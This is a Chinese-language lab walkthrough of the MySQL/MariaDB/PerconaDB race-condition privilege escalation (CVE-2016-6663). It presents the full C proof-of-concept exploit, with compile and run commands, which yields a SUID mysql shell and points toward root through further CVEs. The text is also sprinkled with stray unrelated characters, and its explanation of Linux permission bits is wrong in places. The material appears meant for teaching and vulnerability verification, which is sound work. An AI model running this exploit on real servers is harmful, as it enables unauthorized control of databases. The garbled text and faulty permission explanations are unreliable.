在MySQL
凶朗、 MariaDB
和PerconaDB
數(shù)據庫中發(fā)現(xiàn)條件競爭漏洞在受影響版本中漂辐,用戶可以使用低權限的數(shù)據庫用戶(例如:只有查詢或創(chuàng)建權限的用戶)提升到數(shù)據庫系統(tǒng)用戶(Mysql)。
漏洞危害
MariaDB
和PerconaDB
都屬于MySQL的分支窿克,是全球使用最廣泛的數(shù)據庫之一骏庸,特別是在Web端。漏洞危害極大年叮,一旦惡意訪問者成功利用提權漏洞具被,將對數(shù)據庫的數(shù)據造成不可估量危害。
漏洞范圍
實驗環(huán)境
-
操作機:
Kali Linux
實驗工具
-
mysql-privesc-race
:這個文件是本次漏洞試驗的POC只损,我們將使用本文件驗證漏洞
實驗步驟
本實驗分為兩步一姿,其中第一步了解漏洞原理,第二步使用POC證明漏洞的存在
步驟1: 漏洞成因分析
本步驟又分為四小步:
第一步跃惫,啟動mysql叮叹。
第二步,創(chuàng)建文件夾辈挂,并通過mysql把臨時數(shù)據儲存在我們創(chuàng)建的文件夾衬横。
第三步,修改文件夾屬性终蒂,再次通過mysql寫入數(shù)據
第四步蜂林,對比兩次寫入的數(shù)據遥诉,分析漏洞成因
第一步
啟動mysql數(shù)據庫:
使用命令
service mysql start //啟動mysql服務
su user
mysql已經啟動成功
- 第二步
現(xiàn)在查看當前用戶權限,以便于后期區(qū)分權限噪叙。使用whoami
命令矮锈,可以查看當前用戶:
可以看到當前是user賬戶。
接下來創(chuàng)建文件夾,因為我們要將數(shù)據庫的數(shù)據指向到我們創(chuàng)建的文件夾中睁蕾,這樣才有了利用的可能苞笨。
然后使用命令:
mkdir /tmp/nice
mkdir是創(chuàng)建文件夾的意思,使用上述命令子眶,可以在tmp目錄下創(chuàng)建nice文件夾瀑凝。
接下來使用命令:
chmod 777 /tmp/nice/
這條命令的意思是:將此文件夾的權限設置為777
在linux中權限設置很嚴謹,我們設置為777臭杰,是為了在實驗中防止某些文件不能寫入粤咪。
那么777是什么權限呢?777就代表最高的權限渴杆。
第一個數(shù)字代表文件所屬者的權限 第二個數(shù)字代表文件所屬者所在組的權限 第三個數(shù)字代表其它用戶的權限寥枝。
也就是:7=4+2+1
4:執(zhí)行時設置用戶ID,用于授權給基于文件屬主的進程磁奖,而不是給創(chuàng)建此進程的用戶囊拜。 2:執(zhí)行時設置用戶組ID,用于授權給基于文件所在組的進程比搭,而不是基于創(chuàng)建此進程的用戶冠跷。 1:設置粘著位。
再使用命令:
ls -ld
這條命令的意思是列出詳細的目錄列表敢辩,并且僅列出目錄
我們可以看到蔽莱,這個文件夾屬于user,也就是我們當前的用戶戚长。
現(xiàn)在已經創(chuàng)建了文件夾盗冷,接下來我們登錄數(shù)據庫,創(chuàng)建一個表同廉,使其產生臨時數(shù)據仪糖。
使用命令:
mysql -utest -p1234
這條命令可以連接到數(shù)據庫,其中-u后面輸入賬號迫肖,-p后面輸入密碼锅劝。
可以看到已經成功的連接到了數(shù)據庫。
接下來我們使用Sql語句來添加數(shù)據:
show databases; //查看當前數(shù)據庫
use test; //用到test數(shù)據庫
show tables; //查看test數(shù)據庫中的表
CREATE TABLE JG1 (txt varchar(50)) engine = 'MyISAM' data directory '/tmp/nice';
//創(chuàng)建一個名為JG1的表蟆湖,并使用MyISAM引擎故爵,將數(shù)據儲存在/tmp/nice目錄。
show tables; //查看test數(shù)據庫中的表
我們已經創(chuàng)建了一個表隅津,名為JG1诬垂,并將它的數(shù)據儲存在/tmp/nice目錄【⑹遥現(xiàn)在我們去查看nice目錄:
exit; //退出Mysql系統(tǒng)
cd /tmp/nice/ //進入nice目錄
ls -l //查看當前目錄下文件詳細信息
- 第三步:
下面修改文件夾的屬性:
chmod g+s /tmp/nice/ //nice文件夾下所建文件的所屬組都會變成和nice一樣
其中 g的意思是:任何用戶在此目錄下創(chuàng)建的文件都具有和該目錄所屬的組相同的組 s:該位可以理解為防刪除位. 一個文件是否可以被某用戶刪除, 主要取決于
該文件所屬的組是否對該用戶具有寫權限. 如果沒有寫權限, 則這個目錄下的所有文件都不能被刪除, 同時也不能添加新的文件. 如果希望用戶能夠添加文件但同時不能刪除文件, 則可以對文件使用sticky bit位. 設置該位后, 就算用戶對目錄具有寫權限, 也不能刪除該文件。
接下來我們寫入數(shù)據:
show databases; //查看當前數(shù)據庫
use test; //用到test數(shù)據庫
show tables; //查看test數(shù)據庫中的表
CREATE TABLE JG2 (txt varchar(50)) engine = 'MyISAM' data directory '/tmp/nice';
//創(chuàng)建一個名為JG2的表结窘,并使用MyISAM引擎很洋,將數(shù)據儲存在/tmp/nice目錄。
show tables; //查看test數(shù)據庫中的表
這樣一來隧枫,nice文件夾中的文件喉磁,就屬于我們當前的user組了,我們也就有了寫的權限,漏洞也就這樣產生了,我們再通過構建POC,就可以驗證漏洞的存在了。
第四步:
這時候再查看nice文件夾:
exit;
cd /tmp/nice/
ls -l
可以看到固额,本來mysql的臨時文件應該是屬于mysql組的,但通過我們修改其文件夾屬性,在加上mysql執(zhí)行了不安全的臨時文件創(chuàng)建绽昼,就導致臨時文件屬于user組,對其也就有了操作的權限派草,漏洞就這樣產生了
第二步:使用POC驗證漏洞
- 本步驟將使用POC驗證漏洞
我們首先嘗試使用普通用戶搀缠,進入mysql的數(shù)據庫存放處/var/lib/mysql/
可以看到,我們并沒有權限進入文件夾近迁。
接下來執(zhí)行POC進行漏洞驗證艺普,首先進入POC所在文件夾:
cd /home //進入home目錄
ls //查看當前目錄文件
其中mysql-privesc-race
就是本次的POC,接下來要執(zhí)行它:
./mysql-privesc-race test 1234 localhost test
其中鉴竭,./
代表執(zhí)行當前目錄下mysql-privesc-race文件的意思歧譬,后面的test和1234,為低權限用戶的賬號密碼搏存,localhost則代表本地ip的意思瑰步,最后的test代表當前test用戶的數(shù)據庫。
Poc執(zhí)行時璧眠,嘗試次數(shù)具有隨機性缩焦,所以需等待一段時間,請耐心等候~~
如圖责静,我們已經提升到mysql權限袁滥,這樣就可以對mysql的整個庫進行控制了。
現(xiàn)在再次進入/var/lib/myql
文件夾灾螃,看能否進入成功题翻。
可以看到,成功的進入腰鬼,并對mysql下所有數(shù)據庫具有控制權嵌赠。
到這里也就達到了提權的目的塑荒。
編譯exp:
如果編譯失敗可能是缺少mysql庫,使用sudo apt-get install libmysqld-dev安裝
若需指定mysqlclient動態(tài)鏈接庫路徑猾普,可加上-L參數(shù)如-L/usr/lib64/mysql
gcc mysql-privesc-race.c -o mysql-privesc-race -I/usr/include/mysql -lmysqlclient
POC:
/*
MySQL/PerconaDB/MariaDB - Privilege Escalation / Race Condition PoC Exploit
mysql-privesc-race.c (ver. 1.0)
CVE-2016-6663 / OCVE-2016-5616
Discovered/Coded by:
Dawid Golunski
dawid[at]legalhackers.com
@dawid_golunski
http://legalhackers.com
Compile:
gcc mysql-privesc-race.c -o mysql-privesc-race -I/usr/include/mysql -lmysqlclient
Note:
* On RedHat-based systems you might need to change /tmp to another public directory
在基于redhat的系統(tǒng)上袜炕,你可能需要將/tmp目錄改為其他的目錄如/uploads
* For testing purposes only. Do no harm.
Full advisory URL:
http://legalhackers.com/advisories/MySQL-Maria-Percona-PrivEscRace-CVE-2016-6663-5616-Exploit.html
*/
#include <fcntl.h>
#include <grp.h>
#include <mysql.h>
#include <pwd.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/inotify.h>
#include <sys/stat.h>
#include <sys/types.h>
#include <sys/wait.h>
#include <time.h>
#include <unistd.h>
#define EXP_PATH "/tmp/mysql_privesc_exploit"
#define EXP_DIRN "mysql_privesc_exploit"
#define MYSQL_TAB_FILE EXP_PATH "/exploit_table.MYD"
#define MYSQL_TEMP_FILE EXP_PATH "/exploit_table.TMD"
#define SUID_SHELL EXP_PATH "/mysql_suid_shell.MYD"
#define MAX_DELAY 1000 // can be used in the race to adjust the timing if necessary
MYSQL *conn; // DB handles
MYSQL_RES *res;
MYSQL_ROW row;
unsigned long cnt;
void intro() {
printf(
"\033[94m\n"
"MySQL/PerconaDB/MariaDB - Privilege Escalation / Race Condition PoC Exploit\n"
"mysql-privesc-race.c (ver. 1.0)\n\n"
"CVE-2016-6663 / OCVE-2016-5616\n\n"
"For testing purposes only. Do no harm.\n\n"
"Discovered/Coded by:\n\n"
"Dawid Golunski \n"
"http://legalhackers.com"
"\033[0m\n\n");
}
void usage(char *argv0) {
intro();
printf("Usage:\n\n%s user pass db_host database\n\n", argv0);
}
void mysql_cmd(char *sql_cmd, int silent) {
if (!silent) {
printf("%s \n", sql_cmd);
}
if (mysql_query(conn, sql_cmd)) {
fprintf(stderr, "%s\n", mysql_error(conn));
exit(1);
}
res = mysql_store_result(conn);
if (res>0) mysql_free_result(res);
}
int main(int argc,char **argv)
{
int randomnum = 0;
int io_notified = 0;
int myd_handle;
int wpid;
int is_shell_suid=0;
pid_t pid;
int status;
struct stat st;
/* io notify */
int fd;
int ret;
char buf[4096] __attribute__((aligned(8)));
int num_read;
struct inotify_event *event;
/* credentials */
char *user = argv[1];
char *password = argv[2];
char *db_host = argv[3];
char *database = argv[4];
// Disable buffering of stdout
setvbuf(stdout, NULL, _IONBF, 0);
// Get the params
if (argc!=5) {
usage(argv[0]);
exit(1);
}
intro();
// Show initial privileges
printf("\n[+] Starting the exploit as: \n");
system("id");
// Connect to the database server with provided credentials
// 連接數(shù)據庫
printf("\n[+] Connecting to the database `%s` as %s@%s\n", database, user, db_host);
conn = mysql_init(NULL);
if (!mysql_real_connect(conn, db_host, user, password, database, 0, NULL, 0)) {
fprintf(stderr, "%s\n", mysql_error(conn));
exit(1);
}
// Prepare tmp dir
// 新建目錄/tmp/mysql_privesc_exploit,并未該目錄設置SGID
printf("\n[+] Creating exploit temp directory %s\n", "/tmp/" EXP_DIRN);
umask(000);
system("rm -rf /tmp/" EXP_DIRN " && mkdir /tmp/" EXP_DIRN);
system("chmod g+s /tmp/" EXP_DIRN );
// Prepare exploit tables :)
// 新建兩個表exploit_table和mysql_suid_shell
printf("\n[+] Creating mysql tables \n\n");
mysql_cmd("DROP TABLE IF EXISTS exploit_table", 0);
mysql_cmd("DROP TABLE IF EXISTS mysql_suid_shell", 0);
mysql_cmd("CREATE TABLE exploit_table (txt varchar(50)) engine = 'MyISAM' data directory '" EXP_PATH "'", 0);
mysql_cmd("CREATE TABLE mysql_suid_shell (txt varchar(50)) engine = 'MyISAM' data directory '" EXP_PATH "'", 0);
// Copy /bin/bash into the mysql_suid_shell.MYD mysql table file
// The file should be owned by mysql:attacker thanks to the sticky bit on the table directory
// 拷貝/bin/bash到mysql_suid_shell.MYD
printf("\n[+] Copying bash into the mysql_suid_shell table.\n After the exploitation the following file/table will be assigned SUID and executable bits : \n");
system("cp /bin/bash " SUID_SHELL);
system("ls -l " SUID_SHELL);
// Use inotify to get the timing right
fd = inotify_init();
if (fd < 0) {
printf("failed to inotify_init\n");
return -1;
}
ret = inotify_add_watch(fd, EXP_PATH, IN_CREATE | IN_CLOSE);
/* Race loop until the mysql_suid_shell.MYD table file gets assigned SUID+exec perms */
printf("\n[+] Entering the race loop... Hang in there...\n");
// 判斷mysql_suid_shell.MYD是否被設置了suid
while ( is_shell_suid != 1 ) {
cnt++;
if ( (cnt % 100) == 0 ) {
printf("->");
//fflush(stdout);
}
/* Create empty file , remove if already exists */
// 刪除exploit_table.TMD
unlink(MYSQL_TEMP_FILE);
// 刪除exploit_table.MYD
unlink(MYSQL_TAB_FILE);
mysql_cmd("DROP TABLE IF EXISTS exploit_table", 1);
mysql_cmd("CREATE TABLE exploit_table (txt varchar(50)) engine = 'MyISAM' data directory '" EXP_PATH "'", 1);
/* random num if needed */
srand ( time(NULL) );
randomnum = ( rand() % MAX_DELAY );
// Fork, to run the query asynchronously and have time to replace table file (MYD) with a symlink
// 替換exploit_table.tmd為符號鏈接
pid = fork();
if (pid < 0) {
fprintf(stderr, "Fork failed :(\n");
}
/* Child process - executes REPAIR TABLE SQL statement */
// 子進程執(zhí)行REPAIR操作, 該操作會生成一個TMD文件
if (pid == 0) {
usleep(500);
unlink(MYSQL_TEMP_FILE);
mysql_cmd("REPAIR TABLE exploit_table EXTENDED", 1);
// child stops here
exit(0);
}
// 父進程將exploit_table.tmd替換為符號鏈接
/* Parent process - aims to replace the temp .tmd table with a symlink before chmod */
if (pid > 0 ) {
io_notified = 0;
while (1) {
int processed = 0;
ret = read(fd, buf, sizeof(buf));
if (ret < 0) {
break;
}
while (processed < ret) {
event = (struct inotify_event *)(buf + processed);
if (event->mask & IN_CLOSE) {
if (!strcmp(event->name, "exploit_table.TMD")) {
//usleep(randomnum);
// Set the .MYD permissions to suid+exec before they get copied to the .TMD file
// 將MYD的權限設置為04777(suid+exec)
// 刪除mysql建立的exploit_table.MYD
unlink(MYSQL_TAB_FILE);
// 以attacker身份新建exploit_table.MYD
myd_handle = open(MYSQL_TAB_FILE, O_CREAT, 0777);
close(myd_handle);
// 將MYD權限改為04777
chmod(MYSQL_TAB_FILE, 04777);
// 將exploit_table.TMD換為符號鏈接初家,指向mysql_suid_shell.TMD
// Replace the temp .TMD file with a symlink to the target sh binary to get suid+exec
unlink(MYSQL_TEMP_FILE);
symlink(SUID_SHELL, MYSQL_TEMP_FILE);
io_notified=1;
}
}
processed += sizeof(struct inotify_event);
}
if (io_notified) {
break;
}
}
waitpid(pid, &status, 0);
}
// Check if SUID bit was set at the end of this attempt
if ( lstat(SUID_SHELL, &st) == 0 ) {
if (st.st_mode & S_ISUID) {
is_shell_suid = 1;
}
}
}
printf("\n\n[+] \033[94mBingo! Race won (took %lu tries) !\033[0m Check out the \033[94mmysql SUID shell\033[0m: \n\n", cnt);
system("ls -l " SUID_SHELL);
printf("\n[+] Spawning the \033[94mmysql SUID shell\033[0m now... \n Remember that from there you can gain \033[1;31mroot\033[0m with vuln \033[1;31mCVE-2016-6662\033[0m or \033[1;31mCVE-2016-6664\033[0m :)\n\n");
//啟動bash shell,因為設置了SUID偎窘,所以會獲得mysql權限
system(SUID_SHELL " -p -i ");
//system(SUID_SHELL " -p -c '/bin/bash -i -p'");
/* close MySQL connection and exit */
printf("\n[+] Job done. Exiting\n\n");
mysql_close(conn);
return 0;
}